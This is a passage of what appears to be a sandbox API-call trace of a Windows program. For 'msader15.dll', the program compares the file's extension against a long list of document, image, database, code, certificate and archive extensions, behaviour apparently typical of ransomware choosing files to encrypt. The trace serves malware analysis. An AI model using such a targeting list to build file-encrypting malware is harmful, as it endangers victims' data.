ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0082.695] lstrlenW (lpString="msader15.dll") returned 12 [0082.695] lstrlenW (lpString=".1cd") returned 4 [0082.695] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.695] lstrlenW (lpString=".3ds") returned 4 [0082.695] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0082.695] lstrlenW (lpString=".3fr") returned 4 [0082.695] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0082.695] lstrlenW (lpString=".3g2") returned 4 [0082.695] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0082.695] lstrlenW (lpString=".3gp") returned 4 [0082.695] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0082.695] lstrlenW (lpString=".7z") returned 3 [0082.695] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.695] lstrlenW (lpString=".accda") returned 6 [0082.695] lstrcmpiW (lpString1=".accda", lpString2="15.dll") returned -1 [0082.696] lstrlenW (lpString=".accdb") returned 6 [0082.696] lstrcmpiW (lpString1=".accdb", lpString2="15.dll") returned -1 [0082.696] lstrlenW (lpString=".accdc") returned 6 [0082.696] lstrcmpiW (lpString1=".accdc", lpString2="15.dll") returned -1 [0082.696] lstrlenW (lpString=".accde") returned 6 [0082.696] lstrcmpiW (lpString1=".accde", lpString2="15.dll") returned -1 [0082.696] lstrlenW (lpString=".accdt") returned 6 [0082.696] lstrcmpiW (lpString1=".accdt", lpString2="15.dll") returned -1 [0082.696] lstrlenW (lpString=".accdw") returned 6 [0082.696] lstrcmpiW (lpString1=".accdw", lpString2="15.dll") returned -1 [0082.696] lstrlenW (lpString=".adb") returned 4 [0082.696] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0082.696] lstrlenW (lpString=".adp") returned 4 [0082.696] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0082.696] lstrlenW (lpString=".ai") returned 3 [0082.696] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0082.697] lstrlenW (lpString=".ai3") returned 4 [0082.697] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0082.697] lstrlenW (lpString=".ai4") returned 4 [0082.697] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0082.697] lstrlenW (lpString=".ai5") returned 4 [0082.697] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0082.697] lstrlenW (lpString=".ai6") returned 4 [0082.697] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0082.697] lstrlenW (lpString=".ai7") returned 4 [0082.697] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0082.697] lstrlenW (lpString=".ai8") returned 4 [0082.697] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0082.697] lstrlenW (lpString=".anim") returned 5 [0082.697] lstrcmpiW (lpString1=".anim", lpString2="5.dll") returned -1 [0082.697] lstrlenW (lpString=".arw") returned 4 [0082.697] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0082.697] lstrlenW (lpString=".as") returned 3 [0082.697] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0082.697] lstrlenW (lpString=".asa") returned 4 [0082.697] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0082.698] lstrlenW (lpString=".asc") returned 4 [0082.698] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0082.698] lstrlenW (lpString=".ascx") returned 5 [0082.698] lstrcmpiW (lpString1=".ascx", lpString2="5.dll") returned -1 [0082.698] lstrlenW (lpString=".asm") returned 4 [0082.698] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0082.698] lstrlenW (lpString=".asmx") returned 5 [0082.698] lstrcmpiW (lpString1=".asmx", lpString2="5.dll") returned -1 [0082.698] lstrlenW (lpString=".asp") returned 4 [0082.698] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0082.698] lstrlenW (lpString=".aspx") returned 5 [0082.698] lstrcmpiW (lpString1=".aspx", lpString2="5.dll") returned -1 [0082.698] lstrlenW (lpString=".asr") returned 4 [0082.698] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0082.698] lstrlenW (lpString=".asx") returned 4 [0082.698] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0082.698] lstrlenW (lpString=".avi") returned 4 [0082.698] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0082.698] lstrlenW (lpString=".avs") returned 4 [0082.698] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0082.698] lstrlenW (lpString=".backup") returned 7 [0082.698] lstrcmpiW (lpString1=".backup", lpString2="r15.dll") returned -1 [0082.699] lstrlenW (lpString=".bak") returned 4 [0082.699] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0082.699] lstrlenW (lpString=".bay") returned 4 [0082.699] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0082.699] lstrlenW (lpString=".bd") returned 3 [0082.699] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0082.699] lstrlenW (lpString=".bin") returned 4 [0082.699] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0082.699] lstrlenW (lpString=".bmp") returned 4 [0082.699] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0082.699] lstrlenW (lpString=".bz2") returned 4 [0082.699] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.699] lstrlenW (lpString=".c") returned 2 [0082.699] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0082.699] lstrlenW (lpString=".cdr") returned 4 [0082.699] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0082.699] lstrlenW (lpString=".cer") returned 4 [0082.699] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0082.699] lstrlenW (lpString=".cf") returned 3 [0082.699] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0082.699] lstrlenW (lpString=".cfc") returned 4 [0082.699] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0082.699] lstrlenW (lpString=".cfm") returned 4 [0082.700] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0082.700] lstrlenW (lpString=".cfml") returned 5 [0082.700] lstrcmpiW (lpString1=".cfml", lpString2="5.dll") returned -1 [0082.700] lstrlenW (lpString=".cfu") returned 4 [0082.700] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0082.700] lstrlenW (lpString=".chm") returned 4 [0082.700] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0082.700] lstrlenW (lpString=".cin") returned 4 [0082.700] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0082.700] lstrlenW (lpString=".class") returned 6 [0082.700] lstrcmpiW (lpString1=".class", lpString2="15.dll") returned -1 [0082.700] lstrlenW (lpString=".clx") returned 4 [0082.700] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0082.700] lstrlenW (lpString=".config") returned 7 [0082.700] lstrcmpiW (lpString1=".config", lpString2="r15.dll") returned -1 [0082.700] lstrlenW (lpString=".cpp") returned 4 [0082.700] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0082.700] lstrlenW (lpString=".cr2") returned 4 [0082.700] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0082.700] lstrlenW (lpString=".crt") returned 4 [0082.700] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0082.700] lstrlenW (lpString=".crw") returned 4 [0082.700] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0082.700] lstrlenW (lpString=".cs") returned 3 [0082.700] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0082.700] lstrlenW (lpString=".css") returned 4 [0082.701] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0082.701] lstrlenW (lpString=".csv") returned 4 [0082.701] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0082.701] lstrlenW (lpString=".cub") returned 4 [0082.701] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0082.701] lstrlenW (lpString=".dae") returned 4 [0082.701] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0082.701] lstrlenW (lpString=".dat") returned 4 [0082.701] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0082.701] lstrlenW (lpString=".db") returned 3 [0082.701] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0082.701] lstrlenW (lpString=".dbf") returned 4 [0082.701] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.701] lstrlenW (lpString=".dbx") returned 4 [0082.701] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0082.701] lstrlenW (lpString=".dc3") returned 4 [0082.701] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0082.701] lstrlenW (lpString=".dcm") returned 4 [0082.701] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0082.701] lstrlenW (lpString=".dcr") returned 4 [0082.701] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0082.701] lstrlenW (lpString=".der") returned 4 [0082.701] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0082.701] lstrlenW (lpString=".dib") returned 4 [0082.701] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0082.702] lstrlenW (lpString=".dic") returned 4 [0082.702] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0082.702] lstrlenW (lpString=".dif") returned 4 [0082.702] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0082.702] lstrlenW (lpString=".divx") returned 5 [0082.702] lstrcmpiW (lpString1=".divx", lpString2="5.dll") returned -1 [0082.702] lstrlenW (lpString=".djvu") returned 5 [0082.702] lstrcmpiW (lpString1=".djvu", lpString2="5.dll") returned -1 [0082.702] lstrlenW (lpString=".dng") returned 4 [0082.702] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0082.702] lstrlenW (lpString=".doc") returned 4 [0082.702] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.702] lstrlenW (lpString=".docm") returned 5 [0082.702] lstrcmpiW (lpString1=".docm", lpString2="5.dll") returned -1 [0082.702] lstrlenW (lpString=".docx") returned 5 [0082.702] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0082.703] lstrlenW (lpString=".dot") returned 4 [0082.703] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0082.703] lstrlenW (lpString=".dotm") returned 5 [0082.703] lstrcmpiW (lpString1=".dotm", lpString2="5.dll") returned -1 [0082.703] lstrlenW (lpString=".dotx") returned 5 [0082.703] lstrcmpiW (lpString1=".dotx", lpString2="5.dll") returned -1 [0082.703] lstrlenW (lpString=".dpx") returned 4 [0082.703] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0082.703] lstrlenW (lpString=".dqy") returned 4 [0082.703] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0082.704] lstrlenW (lpString=".dsn") returned 4 [0082.704] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0082.704] lstrlenW (lpString=".dt") returned 3 [0082.704] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0082.704] lstrlenW (lpString=".dtd") returned 4 [0082.704] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0082.704] lstrlenW (lpString=".dwg") returned 4 [0082.704] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0082.704] lstrlenW (lpString=".dwt") returned 4 [0082.704] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0082.704] lstrlenW (lpString=".dx") returned 3 [0082.704] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0082.704] lstrlenW (lpString=".dxf") returned 4 [0082.704] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0082.704] lstrlenW (lpString=".edml") returned 5 [0082.704] lstrcmpiW (lpString1=".edml", lpString2="5.dll") returned -1 [0082.704] lstrlenW (lpString=".efd") returned 4 [0082.704] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0082.705] lstrlenW (lpString=".elf") returned 4 [0082.705] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0082.705] lstrlenW (lpString=".emf") returned 4 [0082.705] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0082.705] lstrlenW (lpString=".emz") returned 4 [0082.705] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0082.705] lstrlenW (lpString=".epf") returned 4 [0082.706] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0082.706] lstrlenW (lpString=".eps") returned 4 [0082.706] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0082.706] lstrlenW (lpString=".epsf") returned 5 [0082.706] lstrcmpiW (lpString1=".epsf", lpString2="5.dll") returned -1 [0082.706] lstrlenW (lpString=".epsp") returned 5 [0082.706] lstrcmpiW (lpString1=".epsp", lpString2="5.dll") returned -1 [0082.706] lstrlenW (lpString=".erf") returned 4 [0082.706] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0082.706] lstrlenW (lpString=".exr") returned 4 [0082.706] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0082.706] lstrlenW (lpString=".f4v") returned 4 [0082.706] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0082.706] lstrlenW (lpString=".fido") returned 5 [0082.706] lstrcmpiW (lpString1=".fido", lpString2="5.dll") returned -1 [0082.706] lstrlenW (lpString=".flm") returned 4 [0082.706] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0082.706] lstrlenW (lpString=".flv") returned 4 [0082.706] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0082.706] lstrlenW (lpString=".frm") returned 4 [0082.706] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0082.706] lstrlenW (lpString=".fxg") returned 4 [0082.707] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0082.707] lstrlenW (lpString=".geo") returned 4 [0082.707] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0082.707] lstrlenW (lpString=".gif") returned 4 [0082.707] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0082.707] lstrlenW (lpString=".grs") returned 4 [0082.707] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0082.707] lstrlenW (lpString=".gz") returned 3 [0082.707] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0082.707] lstrlenW (lpString=".h") returned 2 [0082.707] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0082.707] lstrlenW (lpString=".hdr") returned 4 [0082.707] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0082.707] lstrlenW (lpString=".hpp") returned 4 [0082.707] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0082.707] lstrlenW (lpString=".hta") returned 4 [0082.707] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0082.707] lstrlenW (lpString=".htc") returned 4 [0082.707] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0082.707] lstrlenW (lpString=".htm") returned 4 [0082.707] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0082.707] lstrlenW (lpString=".html") returned 5 [0082.707] lstrcmpiW (lpString1=".html", lpString2="5.dll") returned -1 [0082.707] lstrlenW (lpString=".icb") returned 4 [0082.707] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0082.708] lstrlenW (lpString=".ics") returned 4 [0082.708] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0082.708] lstrlenW (lpString=".iff") returned 4 [0082.708] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0082.708] lstrlenW (lpString=".inc") returned 4 [0082.708] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0082.708] lstrlenW (lpString=".indd") returned 5 [0082.708] lstrcmpiW (lpString1=".indd", lpString2="5.dll") returned -1 [0082.708] lstrlenW (lpString=".ini") returned 4 [0082.708] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0082.708] lstrlenW (lpString=".iqy") returned 4 [0082.708] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0082.708] lstrlenW (lpString=".j2c") returned 4 [0082.708] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0082.708] lstrlenW (lpString=".j2k") returned 4 [0082.708] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0082.708] lstrlenW (lpString=".java") returned 5 [0082.708] lstrcmpiW (lpString1=".java", lpString2="5.dll") returned -1 [0082.708] lstrlenW (lpString=".jp2") returned 4 [0082.708] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0082.708] lstrlenW (lpString=".jpc") returned 4 [0082.708] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0082.708] lstrlenW (lpString=".jpe") returned 4 [0082.709] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0082.709] lstrlenW (lpString=".jpeg") returned 5 [0082.709] lstrcmpiW (lpString1=".jpeg", lpString2="5.dll") returned -1 [0082.709] lstrlenW (lpString=".jpf") returned 4 [0082.709] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0082.709] lstrlenW (lpString=".jpg") returned 4 [0082.709] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.709] lstrlenW (lpString=".jpx") returned 4 [0082.709] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0082.709] lstrlenW (lpString=".js") returned 3 [0082.709] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0082.709] lstrlenW (lpString=".jsf") returned 4 [0082.709] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0082.709] lstrlenW (lpString=".json") returned 5 [0082.709] lstrcmpiW (lpString1=".json", lpString2="5.dll") returned -1 [0082.709] lstrlenW (lpString=".jsp") returned 4 [0082.709] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0082.709] lstrlenW (lpString=".kdc") returned 4 [0082.709] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0082.709] lstrlenW (lpString=".kmz") returned 4 [0082.709] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0082.709] lstrlenW (lpString=".kwm") returned 4 [0082.709] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0082.709] lstrlenW (lpString=".lasso") returned 6 [0082.709] lstrcmpiW (lpString1=".lasso", lpString2="15.dll") returned -1 [0082.709] lstrlenW (lpString=".lbi") returned 4 [0082.709] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".lgf") returned 4 [0082.710] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".lgp") returned 4 [0082.710] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".log") returned 4 [0082.710] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".m1v") returned 4 [0082.710] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".m4a") returned 4 [0082.710] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".m4v") returned 4 [0082.710] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".max") returned 4 [0082.710] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".md") returned 3 [0082.710] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0082.710] lstrlenW (lpString=".mda") returned 4 [0082.710] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".mdb") returned 4 [0082.710] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".mde") returned 4 [0082.710] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".mdf") returned 4 [0082.710] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".mdw") returned 4 [0082.710] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".mef") returned 4 [0082.710] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0082.710] lstrlenW (lpString=".mft") returned 4 [0082.711] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0082.711] lstrlenW (lpString=".mfw") returned 4 [0082.711] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0082.711] lstrlenW (lpString=".mht") returned 4 [0082.711] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0082.711] lstrlenW (lpString=".mhtml") returned 6 [0082.711] lstrcmpiW (lpString1=".mhtml", lpString2="15.dll") returned -1 [0082.711] lstrlenW (lpString=".mka") returned 4 [0082.711] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0082.711] lstrlenW (lpString=".mkidx") returned 6 [0082.711] lstrcmpiW (lpString1=".mkidx", lpString2="15.dll") returned -1 [0082.711] lstrlenW (lpString=".mkv") returned 4 [0082.711] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0082.711] lstrlenW (lpString=".mos") returned 4 [0082.711] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0082.711] lstrlenW (lpString=".mov") returned 4 [0082.711] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0082.711] lstrlenW (lpString=".mp3") returned 4 [0082.711] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0082.711] lstrlenW (lpString=".mp4") returned 4 [0082.711] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0082.711] lstrlenW (lpString=".mpeg") returned 5 [0082.711] lstrcmpiW (lpString1=".mpeg", lpString2="5.dll") returned -1 [0082.711] lstrlenW (lpString=".mpg") returned 4 [0082.711] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0082.711] lstrlenW (lpString=".mpv") returned 4 [0082.711] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".mrw") returned 4 [0082.712] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".msg") returned 4 [0082.712] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".mxl") returned 4 [0082.712] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".myd") returned 4 [0082.712] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".myi") returned 4 [0082.712] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".nef") returned 4 [0082.712] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".nrw") returned 4 [0082.712] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".obj") returned 4 [0082.712] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".odb") returned 4 [0082.712] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".odc") returned 4 [0082.712] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".odm") returned 4 [0082.712] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".odp") returned 4 [0082.712] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".ods") returned 4 [0082.712] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0082.712] lstrlenW (lpString=".oft") returned 4 [0082.713] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".one") returned 4 [0082.713] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".onepkg") returned 7 [0082.713] lstrcmpiW (lpString1=".onepkg", lpString2="r15.dll") returned -1 [0082.713] lstrlenW (lpString=".onetoc2") returned 8 [0082.713] lstrcmpiW (lpString1=".onetoc2", lpString2="er15.dll") returned -1 [0082.713] lstrlenW (lpString=".opt") returned 4 [0082.713] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".oqy") returned 4 [0082.713] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".orf") returned 4 [0082.713] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".p12") returned 4 [0082.713] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".p7b") returned 4 [0082.713] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".p7c") returned 4 [0082.713] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".pam") returned 4 [0082.713] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".pbm") returned 4 [0082.713] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".pct") returned 4 [0082.713] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".pcx") returned 4 [0082.713] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0082.713] lstrlenW (lpString=".pdd") returned 4 [0082.714] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0082.714] lstrlenW (lpString=".pdf") returned 4 [0082.714] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.714] lstrlenW (lpString=".pdp") returned 4 [0082.714] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0082.714] lstrlenW (lpString=".pef") returned 4 [0082.714] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0082.714] lstrlenW (lpString=".pem") returned 4 [0082.714] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0082.714] lstrlenW (lpString=".pff") returned 4 [0082.714] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0082.714] lstrlenW (lpString=".pfm") returned 4 [0082.714] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0082.714] lstrlenW (lpString=".pfx") returned 4 [0082.714] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0082.714] lstrlenW (lpString=".pgm") returned 4 [0082.714] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0082.714] lstrlenW (lpString=".php") returned 4 [0082.714] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0082.714] lstrlenW (lpString=".php3") returned 5 [0082.714] lstrcmpiW (lpString1=".php3", lpString2="5.dll") returned -1 [0082.714] lstrlenW (lpString=".php4") returned 5 [0082.714] lstrcmpiW (lpString1=".php4", lpString2="5.dll") returned -1 [0082.714] lstrlenW (lpString=".php5") returned 5 [0082.714] lstrcmpiW (lpString1=".php5", lpString2="5.dll") returned -1 [0082.714] lstrlenW (lpString=".phtml") returned 6 [0082.715] lstrcmpiW (lpString1=".phtml", lpString2="15.dll") returned -1 [0082.715] lstrlenW (lpString=".pict") returned 5 [0082.715] lstrcmpiW (lpString1=".pict", lpString2="5.dll") returned -1 [0082.715] lstrlenW (lpString=".pl") returned 3 [0082.715] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0082.715] lstrlenW (lpString=".pls") returned 4 [0082.715] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0082.715] lstrlenW (lpString=".pm") returned 3 [0082.715] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0082.715] lstrlenW (lpString=".png") returned 4 [0082.715] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0082.715] lstrlenW (lpString=".pnm") returned 4 [0082.715] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0082.715] lstrlenW (lpString=".pot") returned 4 [0082.715] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0082.715] lstrlenW (lpString=".potm") returned 5 [0082.715] lstrcmpiW (lpString1=".potm", lpString2="5.dll") returned -1 [0082.715] lstrlenW (lpString=".potx") returned 5 [0082.715] lstrcmpiW (lpString1=".potx", lpString2="5.dll") returned -1 [0082.715] lstrlenW (lpString=".ppa") returned 4 [0082.715] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0082.715] lstrlenW (lpString=".ppam") returned 5 [0082.715] lstrcmpiW (lpString1=".ppam", lpString2="5.dll") returned -1 [0082.715] lstrlenW (lpString=".ppm") returned 4 [0082.715] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0082.715] lstrlenW (lpString=".pps") returned 4 [0082.716] lstrcmpiW (lpString1=".pps", 